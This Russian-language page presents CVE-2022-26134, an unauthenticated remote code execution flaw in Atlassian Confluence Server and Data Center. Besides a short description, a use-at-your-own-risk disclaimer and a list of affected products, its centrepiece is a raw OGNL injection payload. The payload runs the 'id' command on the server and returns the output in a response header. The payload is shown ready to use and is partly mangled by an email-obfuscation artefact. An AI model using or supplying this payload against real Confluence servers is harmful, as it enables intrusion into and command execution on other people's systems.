BotCon

Attlasian Confluence: неаутентифицированное удаленное выполнение кода через OGNL-инъекцию (CVE-2022-26134)

• 2 июня 2022 года Atlassian выпустила бюллетень безопасности для своих приложений Confluence Server и Data Center, сообщив о критической уязвимости, позволяющей неаутентифицированное удаленное выполнение кода. Уязвимость OGNL-инъекции позволяет неаутентифицированному пользователю выполнять произвольный код в экземпляре Confluence Server или Data Center.

ПРОЧТИ ЭТО!

Используйте с осторожностью. Вы несете ответственность за свои действия. Разработчики не несут ответственности и не отвечают за любое неправильное использование или ущерб.

RAW-полезная нагрузка

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

Детали уязвимости

• Затронутый продукт:

  • Confluence
    • Confluence Server
    • Confluence Data Center